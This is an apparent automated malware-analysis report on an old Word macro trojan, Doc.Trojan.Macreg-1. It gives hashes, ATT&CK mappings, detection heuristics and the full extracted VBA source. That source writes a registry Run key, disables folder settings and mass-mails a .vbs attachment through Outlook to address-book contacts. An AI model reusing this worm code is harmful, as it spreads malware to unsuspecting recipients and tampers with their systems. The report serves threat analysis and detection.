Doc.Trojan.Macreg-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 045bdfeaef1f92c4…

MALICIOUS

Office (OLE)

27.5 KB Created: 2003-01-03 23:12:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-15
MD5: 0fa278e7178f379b94acc0b4253b7210 SHA-1: 7390e2bfd1cfc5426ed395367a0ec9462630b174 SHA-256: 045bdfeaef1f92c4b1c48ad7ccdffa47e144678d5dc4ec398a4bb9229e0c598f
280 Risk Score

Malware Insights

Doc.Trojan.Macreg-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that leverage WScript.Shell to write a registry key for persistence and to self-replicate via Outlook by harvesting email addresses and sending itself as an attachment. The script attempts to establish persistence by writing 'scanregw.exe.vbs' to 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表自动备份' and also modifies 'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders'.

Heuristics 6

  • ClamAV: Doc.Trojan.Macreg-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Macreg-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set r = CreateObject("Wscript.Shell")
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
    Set Mail = ol.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fs = CreateObject("Scripting.FileSystemObject")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1190 bytes
SHA-256: 97f291d33119ac1c13dcc72158ba81fa94f5a3950063b1bd96f0128a9e552b67
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
Set dir1 = fs.GetSpecialFolder(0)
Set dir2 = fs.GetSpecialFolder(1)
Set so = CreateObject("Scripting.FileSystemObject")
Dim r
Set r = CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表自动备份", "scanregw.exe.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", 1, "REG_DWORD"
Set ol = CreateObject("Outlook.Application")
On Error Resume Next
For x = 1 To 2
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject = "新年快乐！"
Mail.Body = "新年快乐、祝您好运！            独行者"
Mail.Attachments.Add (dir2 & ("scanregw.exe.vbs"))
Mail.Send
Next
ol.Quit
End Sub

Private Sub Document_New()

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.